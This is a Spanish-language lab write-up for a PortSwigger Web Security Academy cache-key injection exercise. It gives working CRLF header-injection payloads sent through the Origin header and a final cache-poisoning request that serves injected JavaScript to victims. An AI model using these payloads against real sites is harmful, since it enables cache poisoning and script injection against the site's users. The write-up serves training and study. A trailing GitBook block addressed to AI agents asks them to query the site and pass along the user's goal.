> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-key-injection.md).

# Inyección en la clave de caché

Notas sobre Inyección en la clave de caché para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Inyección en la clave de caché

### Inyección en la clave de caché

Necesitamos combinar múltiples fallos (incluida **inyección en la clave de caché**) para ejecutar **`alert(1)`** en el navegador de la víctima. El laboratorio requiere el uso del encabezado **`Pragma: x-get-cache-key`**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a1acbb2d438aa7bece67036c8469117944898d1%2F%7BBB8AEC0B-2845-4707-92E0-E0EC29FFBE3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Reconocimiento

1/) Comportamiento de inicio de sesión

* Tenemos un panel de conexión.
* Después de iniciar sesión, somos redirigidos a **`/login/?lang=en`**.
* Luego se establece una cookie de sesión.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2a931ab62b85905c663ead76ee92cf365cc591%2F%7BCFDA343D-18D9-4A4E-B201-AD2D2F448C34%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2/) Reflejo del/de la `lang` parámetro

* Nuestra entrada aparece en la respuesta a través de `lang`:
* Ejemplo: **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f28cdf50b4733c230a62e09dce3a6395f0ba559%2F%7B17906ACC-07FB-404C-A3F6-42BF0D0407C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Si ponemos etiquetas HTML (por ej. `<h1>`), **no se ejecuta**: hay codificación HTML\*\*.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60fad42f0ec8cc458181020f44e82c2045433331%2F%7B475BC26C-7E37-43FF-99FE-E6EA7448F512%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Punto de entrada operativo

Archivo JS oculto: `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

Notamos un script en segundo plano:

* **`/js/localize.js?lang=en&CORS=0`**
* Respuesta observada:
* `document.cookie = 'lang=en';`

Si cambiamos `lang`, el valor se refleja:

* **`/js/localize.js?lang=hello&CORS=0`** → `hello` aparece en la respuesta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7743c4ea0cf45a253f8bd6de63e3cae9592ab5ce%2F%7B7FB44CFC-718B-41C9-8590-00A0B2841462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Observación de la clave de caché

Añadimos:

```http
Pragma: x-get-cache-key
```

Y obtenemos la clave:

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8aabb24c2d9bcf343b42fb004c768a9b4572c8e3%2F%7B3354A351-D591-4D44-A0AB-4E95DDDAF7FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Encontramos que `CORS` influye en la clave, y que al jugar con **Origin** + `CORS`, podemos hacer variar lo que entra en la caché.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8811b02b819b929fa990224dc9f5335437a805ed%2F%7B6FB2F228-2C46-4DA5-81D4-9D3AF46409A0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Inyección de encabezados mediante Back Cart

Usamos inyección CRLF:

* `%0d%0a`

```
man ascii
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54cb0267ca2ecc00028d4a38ca763b4e3bcc27e1%2Fimage%20(3098).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 1) Prueba: inyección de cookie

Enviamos:

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

Resultado: la cookie se interpreta correctamente del lado de la respuesta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-163ad6f6a0e182eb18fa7ce90134fdf2259b9d77%2F%7B51717951-1BA3-466A-849A-AE795F6B5783%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Inyección de JavaScript mediante manipulación `Content-Length`

Luego intentamos inyectar contenido en la respuesta con:

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

En la respuesta, encontramos **`alert(1)`**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f4dadb4419f9e798e6edd81836d7db4d6b84892%2F%7B66177E98-484A-472A-B58B-FADF52A67773%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construir una respuesta oculta dirigida

Para que el servidor almacene esta versión (con `alert(1)`), se **clave de caché** debe coincidir con una forma que incluya nuestro inyectado `Origin`, por ejemplo:

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b27a41b9949dcdd648331b13506c94ade3d9fb49%2F%7BCE27C2CE-0BCC-4773-80C4-D26191AFA5A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Desplazamiento del lado de la víctima mediante un parámetro ignorado

Buscamos un parámetro ignorado por la caché (encontrado con Param Miner):

* **`utm_content`**

Reutilizamos la clave de caché y colocamos la carga útil en `utm_content` para servir el recurso envenenado mientras se visita `lang=en`.

Solicitud final (como la usamos):

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0bd7ade7e74687ff349fe8ff48548b416b6cb63%2F%7B8B884C36-3E90-4DDF-8249-3CA7DAAFB044%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando la víctima abre la página en **`/login/?lang=en`** (mediante redirección), el contenido envenenado se sirve desde la caché, y **`alert(1)`** se ejecuta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-688fd4eebedefee8f767ea116d0a28dad5ed05cf%2F%7BC2D5999F-6555-4179-B883-EC42FECE47B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-key-injection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
